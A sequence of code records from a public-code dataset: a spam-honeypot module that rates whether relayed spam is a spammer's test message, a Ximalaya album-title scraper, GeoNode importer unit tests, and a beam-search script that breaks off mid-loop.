Chlupová\nDate Created: 04/26/2020\n\"\"\"\n\nimport logging\nimport ssdeep\nimport spacy\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nimport re\nimport os\nimport collections\nfrom datetime import datetime\nfrom salmon import utils\nfrom salmon.salmondb import Recipient\nfrom salmon.salmondb import Statistics\nfrom salmon.salmondb import push_into_db\nfrom salmon.salmondb import get_link_by_name\nfrom salmon.salmondb import get_testmail_by_mailfield_id\nfrom salmon.salmondb import get_mail_fields_by_id\nfrom salmon.salmondb import get_maybetestmail_by_mailfield_id\nfrom salmon.salmondb import get_statistics_by_checkpoint_id\nfrom salmon.salmondb import update_link_rating\nfrom salmon.salmondb import get_passwords\nfrom salmon.salmondb import update_statistics_counter\nfrom salmon.salmondb import update_link_counter\nfrom salmon.salmondb import get_recipient_by_email\nfrom salmon.salmondb import get_mail_fields\n\n\nclass Spam:\n \"\"\"This class holds the information about email rating\n and can change the spam rating.\n\n Attributes:\n email_date (float): Time when spam arrived.\n ssdeep (str): Hash of spam.\n length (int): Length of spam.\n attachment (bool): If spam has attachment.\n body_plain (str): Text from spam text/plain.\n body_html (str): Text from body text/html.\n subject (str): Text from spam subject.\n rating (int): Spam rating.\n \"\"\"\n\n __slots__ = (\n \"email_date\",\n \"ssdeep\",\n \"length\",\n \"attachment\",\n \"body_plain\",\n \"body_html\",\n \"subject\",\n \"rating\",\n )\n\n def __init__(\n self,\n email_date,\n ssdeep,\n length,\n attachment,\n body_plain=None,\n body_html=None,\n subject=None,\n rating=0,\n ):\n self.email_date = email_date\n self.ssdeep = ssdeep\n self.length = length\n self.attachment = attachment\n self.body_plain = body_plain\n self.body_html = body_html\n self.subject = subject\n self.rating = rating\n\n def __del__(self):\n if self.rating > 100:\n self.rating = 100\n elif self.rating < 0:\n self.rating = 0\n logging.info(\"[+] (salmonspam.py) - Spam final rating is %d\" % self.rating)\n\n def is_username_in_subject(self, usernames):\n for username in usernames:\n if username in self.subject:\n return True\n return False\n\n def is_password_in_body_html(self, passwords):\n for password in passwords:\n if password in self.body_html:\n return True\n return False\n\n def is_username_in_body_html(self, usernames):\n for username in usernames:\n if username in self.body_html:\n return True\n return False\n\n def get_records_if_similar(self, spam_id, nlp):\n mail_fields_from_db = get_mail_fields_by_id(spam_id)\n similar = 0\n mail_list = []\n if len(mail_fields_from_db.body_plain) > 0 and len(self.body_plain) > 0:\n tokens_db = nlp(mail_fields_from_db.body_plain)\n tokens = nlp(self.body_plain)\n if tokens.similarity(tokens_db) > 0.75:\n logging.info(\n \"[+] (salmonspam.py) - Email with a similar body_plain already in the database.\"\n )\n similar += 1\n if len(mail_fields_from_db.body_html) > 0 and len(self.body_html) > 0:\n tokens_db = nlp(mail_fields_from_db.body_html)\n tokens = nlp(self.body_html)\n if tokens.similarity(tokens_db) > 0.75:\n logging.info(\n \"[+] (salmonspam.py) - Email with a similar body_html already in the database.\"\n )\n similar += 1\n if len(mail_fields_from_db.subject) > 0 and len(self.subject) > 0:\n tokens_db = nlp(mail_fields_from_db.subject)\n tokens = nlp(self.subject)\n if tokens.similarity(tokens_db) > 0.75:\n logging.info(\n \"[+] (salmonspam.py) - Email with a similar subject already in the database.\"\n )\n similar += 1\n if similar >= 1:\n # at least one from [body_plain, body_html, subject] should be similar\n test_mail = get_testmail_by_mailfield_id(mail_fields_from_db.id)\n if test_mail:\n mail_list.append(test_mail)\n maybe_test_mail = get_maybetestmail_by_mailfield_id(mail_fields_from_db.id)\n if maybe_test_mail:\n mail_list.append(maybe_test_mail)\n return mail_list\n\n def get_field(self, mail_field):\n if mail_field == \"body_plain\":\n return self.body_plain\n elif mail_field == \"body_html\":\n return self.body_html\n elif mail_field == \"subject\":\n return self.subject\n\n def match_against_rule_file(self, rule):\n if \"field\" in rule and \"pattern\" in rule:\n try:\n if rule[\"field\"] == \"attachment\":\n if rule[\"pattern\"] and self.attachment:\n return True\n elif not rule[\"pattern\"] and not self.attachment:\n return True\n else:\n return False\n field = (\n re.search(rule[\"pattern\"], self.get_field(rule[\"field\"]))\n is not None\n )\n return field\n except KeyError:\n logging.debug(\"Failed to get field %s from case\" % rule[\"field\"])\n return None\n elif \"AND\" in rule:\n out = None\n for r in rule[\"AND\"]:\n r_out = self.match_against_rule_file(r)\n out = r_out if out is None else out and r_out\n if not out:\n break\n return out\n elif \"OR\" in rule:\n for r in rule[\"OR\"]:\n if self.match_against_rule_file(r):\n return True\n return False\n else:\n logging.error(\"Rule %s not formatted correctly\" % str(rule))\n\n def get_ids_for_similarity_check(self):\n mail_fields_from_db = get_mail_fields()\n ids_for_similarity_check = []\n for mail_fields in mail_fields_from_db:\n ratio = ssdeep.compare(self.ssdeep, mail_fields.ssdeep)\n if ratio >= 50:\n ids_for_similarity_check.append(mail_fields.id)\n return ids_for_similarity_check\n\n def find_password_in_email(self):\n passwords = get_passwords()\n if self.is_password_in_body_plain(passwords):\n logging.info(\n \"[+] (salmonspam.py) - Password found in body_plain: %s...\"\n % self.body_plain[:50]\n )\n self.rating = 100\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(6)\n elif self.is_password_in_subject(passwords):\n logging.info(\n \"[+] (salmonspam.py) - Password found in subject: %s...\"\n % self.subject[:50]\n )\n self.rating = 99\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(7)\n elif self.is_password_in_body_html(passwords):\n logging.info(\n \"[+] (salmonspam.py) - Password found in body_html: %s...\"\n % self.body_html[:50]\n )\n self.rating = 98\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(8)\n\n def find_username_in_email(self, usernames):\n if self.is_username_in_body_plain(usernames):\n self.update_rating_username_in_body_plain()\n elif self.is_username_in_subject(usernames):\n self.update_rating_username_in_subject()\n elif self.is_username_in_body_html(usernames):\n self.update_rating_username_in_body_html()\n\n def find_word_test_in_email(self):\n if \"test\" in self.body_plain or \"testing\" in self.body_plain:\n logging.info(\n \"[+] (salmonspam.py) - test/testing found in body_plain: %s...\"\n % self.body_plain[:50]\n )\n self.rating += 5\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(9)\n elif \"test\" in self.subject or \"testing\" in self.subject:\n logging.info(\n \"[+] (salmonspam.py) - test/testing found in subject: %s...\"\n % self.subject[:50]\n )\n self.rating += 10\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(10)\n elif \"test\" in self.body_html or \"testing\" in self.body_html:\n logging.info(\n \"[+] (salmonspam.py) - test/testing found in body_html: %s...\"\n % self.body_html[:50]\n )\n self.rating += 5\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(11)\n\n def get_links_for_db(self, links, links_from_db):\n update_rating = True\n links_into_db = []\n l2 = []\n for l1 in links_from_db:\n l2.append(l1.link)\n for link in links:\n if link not in l2:\n links_into_db.append(link)\n for link in links:\n row = get_link_by_name(link)\n try:\n update_link_counter(row)\n except AttributeError as error:\n pass\n else:\n if row.counter >= 3 or row.rating >= 70 or self.white_list(link):\n update_rating = False\n if update_rating:\n self.rating -= 10\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(12)\n return links_into_db\n\n def is_password_in_body_plain(self, passwords):\n for password in passwords:\n if password in self.body_plain:\n return True\n return False\n\n def is_username_in_body_plain(self, usernames):\n for username in usernames:\n if username in self.body_plain:\n return True\n return False\n\n def is_password_in_subject(self, passwords):\n for password in passwords:\n if password in self.subject:\n return True\n return False\n\n def update_rating_username_in_body_html(self):\n if self.rating == 98:\n logging.info(\n \"[+] (salmonspam.py) - Username and password found in body_html: %s...\"\n % self.body_html[:50]\n )\n else:\n logging.info(\n \"[+] (salmonspam.py) - Username found in body_html: %s...\"\n % self.body_html[:50]\n )\n self.rating += 50\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(13)\n\n def update_rating_username_in_subject(self):\n if self.rating == 99:\n logging.info(\n \"[+] (salmonspam.py) - Username and password found in subject: %s\"\n % self.subject\n )\n elif (\n len(self.body_plain) > 500 or len(self.body_html) > 500\n ) and self.rating < 98:\n # there is no password in the email and body_plain or body_html is quite long\n logging.info(\n \"[+] (salmonspam.py) - Username found in subject: %s\" % self.subject\n )\n self.rating += 30\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(14)\n elif self.rating < 98:\n logging.info(\n \"[+] (salmonspam.py) - Username found in subject: %s\" % self.subject\n )\n self.rating += 50\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(14)\n\n def update_rating_username_in_body_plain(self):\n if self.rating == 100:\n logging.info(\n \"[+] (salmonspam.py) - Username and password found in body_plain: %s...\"\n % self.body_plain[:50]\n )\n elif len(self.body_plain) > 500 and self.rating < 98:\n # there is no password in the email and body_plain is quite long\n logging.info(\n \"[+] (salmonspam.py) - Username found in body_plain: %s...\"\n % self.body_plain[:50]\n )\n self.rating += 30\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(15)\n elif self.rating < 98:\n logging.info(\n \"[+] (salmonspam.py) - Username found in body_plain: %s...\"\n % self.body_plain[:50]\n )\n self.rating += 50\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(15)\n elif not self.subject and self.rating < 98:\n # there is no password in the email and subject is missing\n # this still might be the testing one, but testing emails usually have subject\n logging.info(\n \"[+] (salmonspam.py) - Username found in body_plain: %s... and subject is missing\"\n % self.body_plain[:40]\n )\n self.rating += 40\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(16)\n\n def get_recipients_for_db(self, to_field, database_mail_fields):\n recipients_for_db = []\n for to in to_field:\n recipient_model = Recipient(to[0], to[1], database_mail_fields)\n recipients_for_db.append(recipient_model)\n return recipients_for_db\n\n def update_link_rating(self, links, links_from_db):\n for l_db in links_from_db:\n for link in links:\n if link == l_db.link and self.rating > l_db.rating:\n if self.rating > 100:\n self.rating = 100\n row = get_link_by_name(link)\n try:\n update_link_rating(row, self.rating)\n except AttributeError as error:\n logging.error(\n \"[-] (salmonspam.py) - It wasn't possible to update rating of link %s\"\n % link\n )\n\n def is_recipient_in_testmail(self, to_field):\n for to in to_field:\n recipient = get_recipient_by_email(to[0])\n try:\n mail_fields_id = recipient.mail_fields_id\n except AttributeError as error:\n return False\n else:\n if get_testmail_by_mailfield_id(mail_fields_id):\n logging.info(\n \"[+] (salmonspam.py) - Recipient %s was used in a test mail.\"\n % to[0]\n )\n return True\n return False\n\n def investigate_time(self):\n dt_object = datetime.fromtimestamp(float(self.email_date))\n if dt_object.hour >= 12 and dt_object.hour <= 18:\n # test emails are sent during these hours\n self.rating += 5\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(17)\n\n def find_ip_address_in_email(self):\n honeypot_ip_address = str(utils.settings.data[\"receiver\"][\"listenhost\"])\n if honeypot_ip_address in self.body_plain:\n logging.info(\n \"[+] (salmonspam.py) - Honeypot IP address %s found in body_plain: %s...\"\n % (honeypot_ip_address, self.body_plain[:50])\n )\n self.rating += 70\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(18)\n elif honeypot_ip_address in self.subject:\n logging.info(\n \"[+] (salmonspam.py) - Honeypot IP address %s found in subject: %s...\"\n % (honeypot_ip_address, self.subject[:50])\n )\n self.rating += 70\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(19)\n elif honeypot_ip_address in self.body_html:\n logging.info(\n \"[+] (salmonspam.py) - Honeypot IP address %s found in body_html: %s...\"\n % (honeypot_ip_address, self.body_html[:50])\n )\n self.rating += 70\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(20)\n\n def analyze_text_in_body(self, nlp, text, url_regex_pattern, mail_fields):\n if text == \"plain\":\n text = re.sub(url_regex_pattern, \"\", self.body_plain)\n else:\n text = re.sub(url_regex_pattern, \"\", self.body_html)\n tokens = nlp(text)\n real_world_words = []\n for token in tokens:\n if len(str(token)) > 2 and (\n token.pos_ == \"NOUN\" or token.pos_ == \"PROPN\" or token.pos_ == \"VERB\"\n ):\n real_world_words.append(token)\n if len(real_world_words) >= 10:\n # it's very unlikely that testing emails can contain so many real-world words\n self.rating -= 15\n logging.info(\n \"[+] (salmonspam.py) - This email contains too many real-world words.\"\n )\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(21)\n elif (\n len(real_world_words) < 3\n and len(mail_fields[\"links\"]) == 0\n and len(mail_fields[\"attachmentFileName\"]) == 0\n ):\n self.rating += 10\n logging.info(\n \"[+] (salmonspam.py) - This email contains few real-world words.\"\n )\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(22)\n self.analyze_email_main_topic(tokens)\n\n def analyze_email_main_topic(self, tokens):\n email_labels = {}\n email_favorite_topics = {}\n for ent in tokens.ents:\n if ent.label_ not in [\"PERCENT\", \"CARDINAL\", \"DATE\"]:\n if ent.label_ not in email_labels.keys():\n email_labels[ent.label_] = 1\n email_favorite_topics[ent.label_] = [ent.text.strip()]\n else:\n email_labels[ent.label_] += 1\n email_favorite_topics[ent.label_].append(ent.text.strip())\n most_common_label = 0\n for key, value in email_labels.items():\n if value > most_common_label:\n most_common_label = value\n for key, value in email_labels.items():\n # the email should mention the topic at least three times\n if value == most_common_label and value >= 3:\n self.rating -= 10\n if utils.settings.data[\"relay\"][\"save_statistics\"]:\n update_statistics(23)\n favorite_topic = collections.Counter(email_favorite_topics[key])\n favorite_topic = favorite_topic.most_common(1)[0][0]\n logging.info(\n \"[+] (salmonspam.py) - This email mostly talk about %s, especially %s\"\n % (spacy.explain(key).lower(), favorite_topic)\n )\n break\n\n @staticmethod\n def white_list(link):\n url_regex_pattern = r\"^www\\d{0,3}[.][a-z0-9\\-]+[.][a-z]{2,4}$\"\n r = re.match(url_regex_pattern, link)\n if r is not None and r.string:\n return True\n return False\n\n\ndef update_statistics(checkpoint_id):\n \"\"\"Function changes the statistics about a checkpoint that\n changes the rating of the email.\n\n Args:\n checkpoint_id (int): Unique id for the checkpoint.\n \"\"\"\n row = get_statistics_by_checkpoint_id(checkpoint_id)\n if row:\n update_statistics_counter(row)\n else:\n new_statistics_record = Statistics(\n checkpoint_id=checkpoint_id,\n counter=1,\n created=datetime.timestamp(datetime.today()),\n last_modified=datetime.timestamp(datetime.today()),\n )\n push_into_db(new_statistics_record)\n","repo_name":"avast/hermes","sub_path":"relay/new/salmonspam.py","file_name":"salmonspam.py","file_ext":"py","file_size_in_byte":20577,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"47"} +{"seq_id":"6933279866","text":"# -*- coding:utf-8 -*-\n# url = 'https://www.ximalaya.com/xiangsheng/61/'\n\nimport time\nimport jsonpath\nimport requests\nfrom bs4 import BeautifulSoup\npage_cont = 1\ncont = 0\npage_cont_list = []\n\n\ndef get_status(): # 到网站获取使用数据\n try:\n data = {\n 'version': 'xmly',\n } # Get license data\n url = \"https://www.nooob.top/music/others/ximalaya.php\" # Get license url\n resp = requests.post(url=url, data=data) # Use post to get license\n resp_json = resp.json() # Turn json\n print(resp_json)\n # ~~JSON parsing~~\n status = jsonpath.jsonpath(resp_json, '$..status')[0]\n if status == 0:\n print('项目关闭')\n time.sleep(3)\n exit()\n else:\n pass\n except:\n print('server error')\n\n\ndef spider(url):\n if url:\n url1 = url\n try:\n global page_cont\n global cont\n headers = {\"User-Agent\":\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36\"\n }\n html = requests.get(url, headers=headers).text\n soup = BeautifulSoup(html, \"html.parser\")\n for a in soup.find_all('a', class_='page-link WJ_'):\n page_cont_list.append(a.text)\n while True:\n print(url)\n headers = {\"User-Agent\":\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36\"\n }\n html = requests.get(url, headers=headers).text\n soup = BeautifulSoup(html, \"html.parser\")\n for div in soup.find_all('div', class_=\"text lF_\"):\n for a in div.find_all('a'):\n print(a.text)\n if a.text != '':\n with open(\"download_file.txt\", \"a\", encoding='utf-8') as f:\n f.write(a.text + '\\n')\n cont = cont+1\n else:\n print('一共发现 {} 首 文件已保存至 download_file.txt'.format(cont))\n break\n if page_cont == int(page_cont_list[-2]):\n print('一共发现 {} 首 文件已保存至 download_file.txt'.format(cont))\n main()\n break\n else:\n page_cont += 1\n url = url1 + '/p{}'.format(page_cont)\n\n except:\n print('Error, 请检查链接是否为喜马拉雅专辑链接!')\n main()\n else:\n print('输入不能为空 请检查后再次输入')\n main()\n\n\ndef main():\n url = input('输入喜马拉雅链接:')\n spider(url)\n\nif __name__ == '__main__':\n get_status()\n main()","repo_name":"DyNooob/Python","sub_path":"D-M-D/other tools/喜马拉雅爬虫/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"3717871605","text":"import uuid\nfrom django.contrib.auth import get_user_model\nfrom geonode.tests.base import GeoNodeBaseTestSupport\nfrom unittest.mock import patch\nfrom importer.api.exception import ImportException\nfrom importer.api.serializer import ImporterSerializer\nfrom importer.handlers.base import BaseHandler\nfrom importer.handlers.shapefile.serializer import ShapeFileSerializer\nfrom importer.orchestrator import ImportOrchestrator\nfrom geonode.upload.models import Upload\nfrom django.utils import timezone\nfrom django_celery_results.models import TaskResult\n\nfrom geonode.base import enumerations as enum\nfrom geonode.resource.models import ExecutionRequest\n\n# Create your tests here.\n\n\nclass TestsImporterOrchestrator(GeoNodeBaseTestSupport):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.orchestrator = ImportOrchestrator()\n\n def test_get_handler(self):\n _data = {\"base_file\": \"file.gpkg\"}\n actual = self.orchestrator.get_handler(_data)\n self.assertIsNotNone(actual)\n self.assertEqual(\"importer.handlers.gpkg.handler.GPKGFileHandler\", str(actual))\n\n def test_get_handler_should_return_none_if_is_not_available(self):\n _data = {\"base_file\": \"file.not_supported\"}\n actual = self.orchestrator.get_handler(_data)\n self.assertIsNone(actual)\n\n def test_get_serializer_should_return_the_default_one_for_if_not_specified(self):\n actual = self.orchestrator.get_serializer({\"base_file\": \"file.gpkg\"})\n self.assertEqual(type(ImporterSerializer), type(actual))\n\n def test_get_serializer_should_return_the_specific_one(self):\n actual = self.orchestrator.get_serializer({\"base_file\": \"file.shp\"})\n self.assertEqual(type(ShapeFileSerializer), type(actual))\n\n def test_load_handler_raise_error_if_not_exists(self):\n with self.assertRaises(ImportException) as _exc:\n self.orchestrator.load_handler(\"invalid_type\")\n self.assertEqual(\n str(_exc.exception.detail),\n \"The handler is not available: invalid_type\",\n )\n\n def test_load_handler(self):\n actual = self.orchestrator.load_handler(\n \"importer.handlers.gpkg.handler.GPKGFileHandler\"\n )\n self.assertIsInstance(actual(), BaseHandler)\n\n def test_get_execution_object_raise_exp_if_not_exists(self):\n with self.assertRaises(ImportException) as _exc:\n self.orchestrator.get_execution_object(str(uuid.uuid4()))\n\n self.assertEqual(\n str(_exc.exception.detail), \"The selected UUID does not exists\"\n )\n\n def test_get_execution_object_retrun_exp(self):\n _uuid = str(uuid.uuid4())\n ExecutionRequest.objects.create(exec_id=_uuid, func_name=\"test\")\n try:\n _exec = self.orchestrator.get_execution_object(_uuid)\n self.assertIsNotNone(_exec)\n finally:\n ExecutionRequest.objects.filter(exec_id=_uuid).delete()\n\n def test_create_execution_request(self):\n handler = self.orchestrator.load_handler(\n \"importer.handlers.gpkg.handler.GPKGFileHandler\"\n )\n count = ExecutionRequest.objects.count()\n input_files = {\n \"files\": {\"base_file\": \"/tmp/file.txt\"},\n \"store_spatial_files\": True,\n }\n exec_id = self.orchestrator.create_execution_request(\n user=get_user_model().objects.first(),\n func_name=next(iter(handler.get_task_list(action=\"import\"))),\n step=next(iter(handler.get_task_list(action=\"import\"))),\n input_params={\n \"files\": {\"base_file\": \"/tmp/file.txt\"},\n \"store_spatial_files\": True,\n },\n )\n exec_obj = ExecutionRequest.objects.filter(exec_id=exec_id).first()\n self.assertEqual(count + 1, ExecutionRequest.objects.count())\n self.assertDictEqual(input_files, exec_obj.input_params)\n self.assertEqual(exec_obj.STATUS_READY, exec_obj.status)\n # check that also the legacy is created\n self.assertIsNotNone(Upload.objects.get(metadata__icontains=exec_id))\n\n @patch(\"importer.orchestrator.importer_app.tasks.get\")\n def test_perform_next_step(self, mock_celery):\n # setup test\n handler = self.orchestrator.load_handler(\n \"importer.handlers.gpkg.handler.GPKGFileHandler\"\n )\n _id = self.orchestrator.create_execution_request(\n user=get_user_model().objects.first(),\n func_name=next(iter(handler.get_task_list(action=\"import\"))),\n step=\"start_import\", # adding the first step for the GPKG file\n input_params={\n \"files\": {\"base_file\": \"/tmp/file.txt\"},\n \"store_spatial_files\": True,\n },\n )\n # test under tests\n self.orchestrator.perform_next_step(\n _id,\n \"import\",\n step=\"start_import\",\n handler_module_path=\"importer.handlers.gpkg.handler.GPKGFileHandler\",\n )\n mock_celery.assert_called_once()\n mock_celery.assert_called_with(\"importer.import_resource\")\n\n @patch(\"importer.orchestrator.importer_app.tasks.get\")\n def test_perform_last_import_step(self, mock_celery):\n # setup test\n handler = self.orchestrator.load_handler(\n \"importer.handlers.gpkg.handler.GPKGFileHandler\"\n )\n _id = self.orchestrator.create_execution_request(\n user=get_user_model().objects.first(),\n func_name=next(iter(handler.get_task_list(action=\"import\"))),\n step=\"importer.create_geonode_resource\", # adding the first step for the GPKG file\n input_params={\n \"files\": {\"base_file\": \"/tmp/file.txt\"},\n \"store_spatial_files\": True,\n },\n )\n # test under tests\n self.orchestrator.perform_next_step(\n _id,\n \"import\",\n step=\"importer.create_geonode_resource\",\n handler_module_path=\"importer.handlers.gpkg.handler.GPKGFileHandler\",\n )\n mock_celery.assert_not_called()\n\n @patch(\"importer.orchestrator.importer_app.tasks.get\")\n def test_perform_with_error_set_invalid_status(self, mock_celery):\n mock_celery.side_effect = Exception(\"test exception\")\n # setup test\n handler = self.orchestrator.load_handler(\n \"importer.handlers.gpkg.handler.GPKGFileHandler\"\n )\n _id = self.orchestrator.create_execution_request(\n user=get_user_model().objects.first(),\n func_name=next(iter(handler.get_task_list(action=\"import\"))),\n step=\"start_import\", # adding the first step for the GPKG file\n input_params={\n \"files\": {\"base_file\": \"/tmp/file.txt\"},\n \"store_spatial_files\": True,\n },\n )\n # test under tests\n with self.assertRaises(Exception):\n self.orchestrator.perform_next_step(\n _id,\n \"import\",\n step=\"start_import\",\n handler_module_path=\"importer.handlers.gpkg.handler.GPKGFileHandler\",\n )\n\n _excec = ExecutionRequest.objects.filter(exec_id=_id).first()\n self.assertIsNotNone(_excec)\n self.assertEqual(ExecutionRequest.STATUS_FAILED, _excec.status)\n self.assertIsNotNone(Upload.objects.get(metadata__icontains=_id))\n\n def test_set_as_failed(self):\n # we need to create first the execution\n _uuid = self.orchestrator.create_execution_request(\n user=get_user_model().objects.first(),\n func_name=\"name\",\n step=\"importer.create_geonode_resource\", # adding the first step for the GPKG file\n input_params={\n \"files\": {\"base_file\": \"/tmp/file.txt\"},\n \"store_spatial_files\": True,\n },\n )\n _uuid = str(_uuid)\n self.orchestrator.set_as_failed(_uuid, reason=\"automatic test\")\n\n # check normal execution status\n req = ExecutionRequest.objects.get(exec_id=_uuid)\n self.assertTrue(req.status, ExecutionRequest.STATUS_FAILED)\n self.assertTrue(req.log, \"automatic test\")\n\n # check legacy execution status\n legacy = Upload.objects.filter(metadata__contains=_uuid)\n self.assertTrue(legacy.exists())\n self.assertEqual(legacy.first().state, enum.STATE_INVALID)\n\n # cleanup\n req.delete()\n legacy.delete()\n\n def test_set_as_completed(self):\n # we need to create first the execution\n _uuid = self.orchestrator.create_execution_request(\n user=get_user_model().objects.first(),\n func_name=\"name\",\n step=\"importer.create_geonode_resource\", # adding the first step for the GPKG file\n input_params={\n \"files\": {\"base_file\": \"/tmp/file.txt\"},\n \"store_spatial_files\": True,\n },\n )\n\n # calling the function\n self.orchestrator.set_as_completed(_uuid)\n\n req = ExecutionRequest.objects.get(exec_id=_uuid)\n self.assertTrue(req.status, ExecutionRequest.STATUS_FINISHED)\n\n # check legacy execution status\n legacy = Upload.objects.filter(metadata__contains=_uuid)\n self.assertTrue(legacy.exists())\n self.assertEqual(legacy.first().state, enum.STATE_PROCESSED)\n\n # cleanup\n req.delete()\n legacy.delete()\n\n def test_update_execution_request_status(self):\n # we need to create first the execution\n _uuid = self.orchestrator.create_execution_request(\n user=get_user_model().objects.first(),\n func_name=\"name\",\n step=\"importer.create_geonode_resource\", # adding the first step for the GPKG file\n input_params={\n \"files\": {\"base_file\": \"/tmp/file.txt\"},\n \"store_spatial_files\": True,\n },\n )\n\n self.orchestrator.update_execution_request_status(\n execution_id=_uuid,\n status=ExecutionRequest.STATUS_RUNNING,\n last_updated=timezone.now(),\n func_name=\"function_name\",\n step=\"step_here\",\n )\n req = ExecutionRequest.objects.get(exec_id=_uuid)\n self.assertTrue(req.status, ExecutionRequest.STATUS_RUNNING)\n self.assertTrue(req.func_name, \"function_name\")\n self.assertTrue(req.step, \"step_here\")\n\n # check legacy execution status\n legacy = Upload.objects.filter(metadata__contains=_uuid)\n self.assertTrue(legacy.exists())\n self.assertEqual(legacy.first().state, enum.STATE_RUNNING)\n\n # cleanup\n req.delete()\n legacy.delete()\n\n def test_evaluate_execution_progress_should_continue_if_some_task_is_not_finished(\n self,\n ):\n # create the celery task result entry\n try:\n exec_id = str(\n self.orchestrator.create_execution_request(\n user=get_user_model().objects.first(),\n func_name=\"test\",\n step=\"test\",\n legacy_upload_name=\"test\",\n )\n )\n\n started_entry = TaskResult.objects.create(\n task_id=\"task_id_started\", status=\"STARTED\", task_args=exec_id\n )\n success_entry = TaskResult.objects.create(\n task_id=\"task_id_success\", status=\"SUCCESS\", task_args=exec_id\n )\n with self.assertLogs(level=\"INFO\") as _log:\n result = self.orchestrator.evaluate_execution_progress(exec_id)\n\n self.assertIsNone(result)\n self.assertEqual(\n f\"INFO:importer.orchestrator:Execution progress with id {exec_id} is not finished yet, continuing\",\n _log.output[0],\n )\n\n finally:\n if started_entry:\n started_entry.delete()\n if success_entry:\n success_entry.delete()\n\n def test_evaluate_execution_progress_should_fail_if_one_task_is_failed(self):\n \"\"\"\n Should set it fail if all the execution are done and at least 1 is failed\n \"\"\"\n # create the celery task result entry\n try:\n exec_id = str(\n self.orchestrator.create_execution_request(\n user=get_user_model().objects.first(),\n func_name=\"test\",\n step=\"test\",\n legacy_upload_name=\"test\",\n )\n )\n\n FAILED_entry = TaskResult.objects.create(\n task_id=\"task_id_FAILED\", status=\"FAILURE\", task_args=exec_id\n )\n success_entry = TaskResult.objects.create(\n task_id=\"task_id_success\", status=\"SUCCESS\", task_args=exec_id\n )\n self.orchestrator.evaluate_execution_progress(exec_id)\n\n finally:\n if FAILED_entry:\n FAILED_entry.delete()\n if success_entry:\n success_entry.delete()\n\n def test_evaluate_execution_progress_should_set_as_completed(self):\n try:\n exec_id = str(\n self.orchestrator.create_execution_request(\n user=get_user_model().objects.first(),\n func_name=\"test\",\n step=\"test\",\n legacy_upload_name=\"test\",\n )\n )\n\n success_entry = TaskResult.objects.create(\n task_id=\"task_id_success\", status=\"SUCCESS\", task_args=exec_id\n )\n\n self.orchestrator.evaluate_execution_progress(exec_id)\n\n finally:\n if success_entry:\n success_entry.delete()\n","repo_name":"GeoNode/geonode-importer","sub_path":"importer/tests/unit/test_orchestrator.py","file_name":"test_orchestrator.py","file_ext":"py","file_size_in_byte":13739,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"3498300361","text":"\nimport random\nimport copy\n\n\ninput_data = list()\n\nfor i in range(10):\n temp_val = random.random()\n input_data.append(temp_val)\n\n\nprint(input_data)\n\nbeam_search_size = 3\n\n\ndef gen_beam_list(input_data):\n arrange_list = copy.deepcopy(input_data)\n global beam_search_size\n\n idx_num = 0\n flag_num = 0\n\n while True:\n target_idx = idx_num+1\n\n if arrange_list[idx_num] < arrange_list[target_idx]:\n curr_num = arrange_list[idx_num]\n next_num = arrange_list[target_idx]\n\n arrange_list[idx_num] = next_num\n arrange_list[target_idx] = curr_num\n\n flag_num += 1\n\n idx_num += 1\n if idx_num == (len(arrange_list)-1):\n idx_num = 0\n\n if flag_num == 0:\n break\n else:\n flag_num = 0\n\n return arrange_list[:beam_search_size]\n\n\nfirst_beam_list = gen_beam_list(input_data)\nprint(first_beam_list)\n\n\nidx_list = list()\n\n\nfor one_val in first_beam_list:\n temp_idx = input_data.index(one_val)\n idx_list.append(temp_idx)\n\nprint(idx_list)\n\n\nsequence_lenth = 5\n\n\nresult_list = list()\n\n\nfor i in range(beam_search_size):\n temp_dict = dict()\n temp_dict['index_list'] = list()\n temp_dict['probability'] = 0.\n\n temp_dict['index_list'].append(idx_list[i])\n temp_dict['probability'] = input_data[idx_list[i]]\n\n result_list.append(temp_dict)\n\n\ndef gen_random_list():\n return_list = list()\n for i in range(10):\n return_list.append(random.random())\n return return_list \n\n\ndef gen_index_list_for_beam(input_val_list, origin_data):\n idx_list = list()\n\n for one_val in input_val_list:\n temp_idx = origin_data.index(one_val)\n idx_list.append(temp_idx)\n\n return idx_list\n\n\nfor i in range(sequence_lenth-1):\n print(\"{}th sequence....\".format(i))\n limit_loop_num = len(result_list)\n print(limit_loop_num)\n\n for n in range(limit_loop_num):\n one_dict = result_list[n]\n origin_dict = copy.deepcopy(one_dict)\n\n input_list = gen_random_list()\n temp_val_list = gen_beam_list(input_list)\n target_index_list = gen_index_list_for_beam(temp_val_list, input_list)\n\n for j, one_idx in enumerate(target_index_list):\n if j == 0:\n 